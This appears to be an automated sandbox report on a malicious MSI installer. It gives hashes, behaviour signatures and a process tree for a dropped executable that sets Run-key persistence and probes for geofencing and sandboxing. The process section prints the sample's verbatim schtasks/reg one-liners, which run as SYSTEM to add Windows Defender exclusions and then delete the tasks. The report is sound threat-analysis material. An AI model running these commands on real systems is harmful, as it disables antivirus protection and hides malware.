Analysis
- max time kernel
150s - max time network
156s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
31/07/2026, 00:38
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
install_mal003.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral2
Sample
install_mal003.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
25 signatures
150 seconds
General
- Target install_mal003.msi
- Size 5.8MB
- Sample260731-ay4tsshk9s
- SHA256 770526d055f21b6c3e4799fad88d357ebabc6774f81452952f51aba3a05fa817
- MD5 47690112f7254e72888682e69d3203b6
- SHA1 f8c90372e4b03f79970e02f421dba121cfabbe8f
- SHA512 dfcffd3ade9cb45e1d37e379ca7201fb4132be3ce0bb6ceabf1a5cbb316cd697ecf5fed1a0698fa6f94bfb200321f7810e7fdcbaa78de01eac0d12525c361f39
- SSDEEP 98304:3AnifxFCNdq4yN9vE1bVdEpUGoPHN9HGkZCCwCJtXG4X32KvqiHR0:3yOPsdq1N9vE1bPEiGut9HzgcPGY32Ke
- TLSH T166563391BE8A2B39D027D7B44696663E702D7FD14E634C0ABAFA3F1D5E323152879340
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation YF2Dbb.exe - Executes dropped EXE 1 IoCs
pid Process 1740 YF2Dbb.exe - Loads dropped DLL 2 IoCs
pid Process 5048 MsiExec.exe 1740 YF2Dbb.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\lcjDiM\\YF2Dbb.exe\"" YF2Dbb.exe - Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 21 5048 MsiExec.exe 33 5048 MsiExec.exe 53 5048 MsiExec.exe 55 5048 MsiExec.exe 57 5048 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Y: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 2904 cmd.exe 868 cmd.exe 4248 cmd.exe 2876 cmd.exe 1612 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b YF2Dbb.exe - Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSI89FB.tmp msiexec.exe File created C:\Windows\Installer\e5888b5.msi msiexec.exe File created C:\Windows\Installer\e5888b3.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI8A89.tmp msiexec.exe File opened for modification C:\Windows\Installer\e5888b3.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{4CA0D086-AA26-797D-3C5F-028810CDD1E6} msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 2600 msiexec.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3508 cmd.exe 4204 cmd.exe 2432 cmd.exe 4428 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ee28096e8f31db0b0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000ee28096e0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900ee28096e000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1aee28096e000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1dee28096e000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\EE0DD599FAE22DB2585D0B62A28731E0\680D0AC462AAD797C3F5208801DC1D6E msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\ProductName = "ENCPP Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\PackageName = "install_mal003.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\PackageCode = "98FF6061FB16E5349B09B4760EA3AEF9" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Language = "1033" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\EE0DD599FAE22DB2585D0B62A28731E0 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\680D0AC462AAD797C3F5208801DC1D6E msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\680D0AC462AAD797C3F5208801DC1D6E\UuueatYAD msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Version = "84017285" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Media\1 = ";" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\DeploymentFlags = "3" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2520 schtasks.exe 384 schtasks.exe 2540 schtasks.exe 1228 schtasks.exe 3480 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1700 msiexec.exe 1700 msiexec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 5048 MsiExec.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe 1740 YF2Dbb.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 664 Process not Found 664 Process not Found 664 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2600 msiexec.exe Token: SeIncreaseQuotaPrivilege 2600 msiexec.exe Token: SeSecurityPrivilege 1700 msiexec.exe Token: SeCreateTokenPrivilege 2600 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2600 msiexec.exe Token: SeLockMemoryPrivilege 2600 msiexec.exe Token: SeIncreaseQuotaPrivilege 2600 msiexec.exe Token: SeMachineAccountPrivilege 2600 msiexec.exe Token: SeTcbPrivilege 2600 msiexec.exe Token: SeSecurityPrivilege 2600 msiexec.exe Token: SeTakeOwnershipPrivilege 2600 msiexec.exe Token: SeLoadDriverPrivilege 2600 msiexec.exe Token: SeSystemProfilePrivilege 2600 msiexec.exe Token: SeSystemtimePrivilege 2600 msiexec.exe Token: SeProfSingleProcessPrivilege 2600 msiexec.exe Token: SeIncBasePriorityPrivilege 2600 msiexec.exe Token: SeCreatePagefilePrivilege 2600 msiexec.exe Token: SeCreatePermanentPrivilege 2600 msiexec.exe Token: SeBackupPrivilege 2600 msiexec.exe Token: SeRestorePrivilege 2600 msiexec.exe Token: SeShutdownPrivilege 2600 msiexec.exe Token: SeDebugPrivilege 2600 msiexec.exe Token: SeAuditPrivilege 2600 msiexec.exe Token: SeSystemEnvironmentPrivilege 2600 msiexec.exe Token: SeChangeNotifyPrivilege 2600 msiexec.exe Token: SeRemoteShutdownPrivilege 2600 msiexec.exe Token: SeUndockPrivilege 2600 msiexec.exe Token: SeSyncAgentPrivilege 2600 msiexec.exe Token: SeEnableDelegationPrivilege 2600 msiexec.exe Token: SeManageVolumePrivilege 2600 msiexec.exe Token: SeImpersonatePrivilege 2600 msiexec.exe Token: SeCreateGlobalPrivilege 2600 msiexec.exe Token: SeBackupPrivilege 2280 vssvc.exe Token: SeRestorePrivilege 2280 vssvc.exe Token: SeAuditPrivilege 2280 vssvc.exe Token: SeBackupPrivilege 1700 msiexec.exe Token: SeRestorePrivilege 1700 msiexec.exe Token: SeRestorePrivilege 1700 msiexec.exe Token: SeTakeOwnershipPrivilege 1700 msiexec.exe Token: SeRestorePrivilege 1700 msiexec.exe Token: SeTakeOwnershipPrivilege 1700 msiexec.exe Token: SeRestorePrivilege 1700 msiexec.exe Token: SeTakeOwnershipPrivilege 1700 msiexec.exe Token: SeBackupPrivilege 1136 srtasks.exe Token: SeRestorePrivilege 1136 srtasks.exe Token: SeSecurityPrivilege 1136 srtasks.exe Token: SeTakeOwnershipPrivilege 1136 srtasks.exe Token: SeBackupPrivilege 1136 srtasks.exe Token: SeRestorePrivilege 1136 srtasks.exe Token: SeSecurityPrivilege 1136 srtasks.exe Token: SeTakeOwnershipPrivilege 1136 srtasks.exe Token: SeRestorePrivilege 1700 msiexec.exe Token: SeTakeOwnershipPrivilege 1700 msiexec.exe Token: SeRestorePrivilege 1700 msiexec.exe Token: SeTakeOwnershipPrivilege 1700 msiexec.exe Token: SeRestorePrivilege 1700 msiexec.exe Token: SeTakeOwnershipPrivilege 1700 msiexec.exe Token: SeRestorePrivilege 1700 msiexec.exe Token: SeTakeOwnershipPrivilege 1700 msiexec.exe Token: SeRestorePrivilege 1700 msiexec.exe Token: SeTakeOwnershipPrivilege 1700 msiexec.exe Token: SeRestorePrivilege 1700 msiexec.exe Token: SeTakeOwnershipPrivilege 1700 msiexec.exe Token: SeRestorePrivilege 1700 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 2600 msiexec.exe 2600 msiexec.exe - Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 1700 wrote to memory of 1136 1700 msiexec.exe 97 PID 1700 wrote to memory of 5048 1700 msiexec.exe 99 PID 1740 wrote to memory of 4248 1740 YF2Dbb.exe 105 PID 1740 wrote to memory of 2876 1740 YF2Dbb.exe 107 PID 4248 wrote to memory of 2520 4248 cmd.exe 109 PID 2876 wrote to memory of 384 2876 cmd.exe 110 PID 4248 wrote to memory of 208 4248 cmd.exe 111 PID 4248 wrote to memory of 1748 4248 cmd.exe 113 PID 2876 wrote to memory of 3724 2876 cmd.exe 114 PID 2876 wrote to memory of 4300 2876 cmd.exe 116 PID 3508 wrote to memory of 4656 3508 cmd.exe 119 PID 1740 wrote to memory of 1612 1740 YF2Dbb.exe 120 PID 1612 wrote to memory of 2540 1612 cmd.exe 122 PID 1612 wrote to memory of 2296 1612 cmd.exe 123 PID 1612 wrote to memory of 2504 1612 cmd.exe 126 PID 4204 wrote to memory of 2752 4204 cmd.exe 127 PID 1740 wrote to memory of 2904 1740 YF2Dbb.exe 128 PID 2904 wrote to memory of 1228 2904 cmd.exe 130 PID 2904 wrote to memory of 3500 2904 cmd.exe 131 PID 2904 wrote to memory of 4768 2904 cmd.exe 135 PID 2432 wrote to memory of 2792 2432 cmd.exe 134 PID 1740 wrote to memory of 868 1740 YF2Dbb.exe 136 PID 868 wrote to memory of 3480 868 cmd.exe 138 PID 868 wrote to memory of 3768 868 cmd.exe 139 PID 868 wrote to memory of 3276 868 cmd.exe 141 PID 4428 wrote to memory of 4356 4428 cmd.exe 143 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_mal003.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2600
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:1136
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 9B53A1E3EBD2DF7C7F6605AA9504C11A E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5048
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:2280
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C:\Users\Public\lcjDiM\YF2Dbb.exeC:\Users\Public\lcjDiM\YF2Dbb.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1740 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\lcjDiM\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4248 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\lcjDiM\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2520
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:208
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1748
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2876 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:384
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3724
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4300
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1612 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2540
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2296
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2504
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2904 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1228
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3500
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4768
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:868 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3480
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3768
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3276
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3508 -
